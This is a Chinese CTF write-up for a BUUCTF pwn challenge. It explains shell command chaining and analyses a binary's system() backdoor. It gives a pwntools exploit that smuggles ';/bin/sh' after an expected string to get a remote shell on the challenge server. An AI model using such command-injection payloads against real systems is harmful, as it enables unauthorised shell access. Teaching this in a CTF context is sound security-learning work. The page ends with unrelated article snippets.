通常pwn题目,时常会考到对Linux命令的一些使用,比如当cat被禁用的时候,可以使用tac,或者别的命令代替

下面是buu上的应该题目,考察的就是对liunx命令的理解,以及对程序的分析。

题目地址:BUUCTF在线评测 (buuoj.cn)

扩展:1.当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也可以执行第二个

2.当我们输入第一个命令之后加上&&,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真再执行第二个命令,否则不会执行

3.当我们输入第一个命令之后加上||,然后后面加上第二个命令,那么就会先执行第一个命令如果第一个命令为真就不会执行第二个命令,否则会执行

1.当拿到题目的时候,先看有没有给libc什么的,如果给了,首先先把题目的libc换上,然后再进行下一步,当然对于这一个题目首先查看保护

2.处于一个保护全开的状态,其实对于这种保护全开的题目,要么程序里面给了后门,要么这是个堆题,64位ida载入一下

可以看见程序确实留的有后门,现在进行逐步分析

v3是command的指针,v4是command的首地址

这里就是我们对command里面进行赋值,不过是要输入数字,%d,4个单元为一个元素

这里进行遍历把* v3里面每个元素都加了0x1bf52

v8里面放的是这个

这里进行判断输入command的东西是不是等于v8里面的东西,如果不是就退出,而且如果最后循环结束的时候*v8指向的字符串不是'0'的时候就不会执行system(command)。

思路是,首先输入的东西肯定要包含v8里面的东西,然后就是加上/bin/sh\x00\x00,\x00的作用就是进行绕过,不让程序退出,然后就会执行PvvN| 1S S0 GREAT!/bin/sh,但是这个啥也不是啊,别忘了linux里面的命令特点,当我们输入第一个命令之后加上;然后后面加上第二个命令,那么就会先执行第一个命令再执行第二个命令,即使第一个命令不合法也没事,那么就是PvvN| 1S S0 GREAT!;/bin/sh,但是前面将每一个元素加了0x1BF52,我们需要减去,然后就是输入对应的ascii码

可以使用u32或者u64进行输入,返回的是int类型的ascii码。

Exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux') io = remote('pwn.challenge.ctf.show',28180) payload = b'PvvN| 1S S0 GREAT!;/bin/sh\x00\x00' print(len(payload)) for i in range(7):
n=i*4
io.sendline(str(u32(payload[n:n+4])-0x1BF52)) io.interactive()

pwn杂项之linux命令执行的更多相关文章

  1. Linux命令执行顺序— ||和&&和; 比较

    Linux命令执行顺序— ||和&&和; command1 && command2: &&左边的command1执行成功(返回0表示成功)后,& ...

  2. Java调用Linux命令执行

    调用方式 Java调用linux命令执行的方式有两种,一种是直接调用linux命令,一种是将linux命令写到.sh脚本中,然后调用脚本执行. 详细说明 直接调用:使用java中lang包下面的Run ...

  3. Linux命令执行过程

    目录 一.命令分类 二.命令执行顺序 三.命令分类及查找基本命令 四.命令执行过程 一.命令分类 Linux命令分为两类,具体为内部命令和外部命令 内部命令: 指shell内部集成的命令,此类命令无需 ...

  4. Linux命令执行顺序— ||和&&和;

    command1 && command2: &&左边的command1执行成功(返回0表示成功)后,&&右边的command2才能被执行. comman ...

  5. Linux命令执行的屏幕输出内容重定向到日志文件

    摘要: 作者:Syn良子 出处:http://www.cnblogs.com/cssdongl 转载请注明出处 快速mark一下这个命令细节,免得以后使用又忘记了 大家都知道可以用echo来输出内容到 ...

  6. Linux命令执行顺序与管道命令

    命令执行顺序控制 顺序执行多条命令:command1;command2;command3... 有选择执行命令:which command1 && command2 || comman ...

  7. linux命令执行返回值(附错误对照表)

    转自:http://blog.sina.com.cn/s/blog_6739945f0100zt4b.html 在 Linux 下,不管你是启动一个桌面程序也好,还是在控制台下运行命令,所有的程序在结 ...

  8. LInux命令执行http请求

    Linux下提供了一些命令可以直接执行http请求,下面举例来介绍几个命令. http // GET请求 http http://127.0.0.1:2379/version http GET htt ...

  9. Linux 命令执行结果输出到屏幕的同时写入到文件中

    tee命令可以做到这一点: 例:ls -al /home | tee log 就可以把命令输出的内容显示在屏幕上的同时也输出至文件log.

  10. 用linux 命令 执行ci框架的方法

    最近要跑一个数据量比较大的脚本,刚开始在浏览器页面访问发行nginx 5.4 超时, 又不想去修改nginx的连接时间,只能在服务器执行了, 执行方法:进入到ci 的根目录:#php index.ph ...

随机推荐

  1. js实现电子白板

    功能:使用画笔绘制笔迹(线条).橡皮檫 <!DOCTYPE html> <html lang="en"> <head> <meta cha ...

  2. DevEco Studio强大的预览功能让开发效率大大提升!

    原文:https://mp.weixin.qq.com/s/C5DL0wBubDX3exvPpeXBPQ,点击链接查看更多技术内容.   应用的开发过程中,往往需要多次调试和修改,如果支持实时预览,边 ...

  3. linux 连接wifi

    前言 我使用树莓派的时候实际过的. 正文 第一步扫描wifi: iwlist wlan0 scan 然后配置: vim /etc/wpa_supplicant/wpa_supplicant.conf ...

  4. eclipse jar包 Source not found

    jar包 Source not found 错误内容: Source not found The source attachment does not contain the source for t ...

  5. 力扣661(java)-图片平滑器(简单)

    题目: 图像平滑器 是大小为 3 x 3 的过滤器,用于对图像的每个单元格平滑处理,平滑处理后单元格的值为该单元格的平均灰度. 每个单元格的  平均灰度 定义为:该单元格自身及其周围的 8 个单元格的 ...

  6. Oracle数据到MaxCompute乱码问题详解

    ​简介:集成Oracle数据到MaxCompute,乱码问题分析: 为什么,在oracle数据不乱码,集成到MaxCompute就乱码了? 问题在哪里? 1.1 乱码现象 DataWorks的数据离线 ...

  7. [Mobi] Android Studio arm 模拟器

    从右下角 Configure 打开 AVD Manager. 点击 "Create New Device" 来创建新设备  选择TV   接着Next,然后用 Other Imag ...

  8. WPF 使用 Silk 的 Direct2D 入门

    在上一篇博客的基础上,使用 dotnet 基金会新开源的 Silk.NET 库,让 Silk.NET 创建的 DX 设备和 WPF 对接渲染.接下来本文将告诉大家如何使用 Silk.NET 提供的 D ...

  9. WPF 触摸底层 PenImc 是如何工作的

    在 WPF 里面有其他软件完全比不上的超快速的触摸,这个触摸是通过 PenImc 获取的.现在 WPF 开源了,本文就带大家来阅读触摸底层的代码,阅读本文需要一点 C# 和 C++ 基础 现在 WPF ...

  10. Raft 共识算法2-领导者选举

    Raft 共识算法2-领导者选举 Raft算法中译版地址:https://object.redisant.com/doc/raft中译版-2023年4月23日.pdf 英原论文地址:https://r ...